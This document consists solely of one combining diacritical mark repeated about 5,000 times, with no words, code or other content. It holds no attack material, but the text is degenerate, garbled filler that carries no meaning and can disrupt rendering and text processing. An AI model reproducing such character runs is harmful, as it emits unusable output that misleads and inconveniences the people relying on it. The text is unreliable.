᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵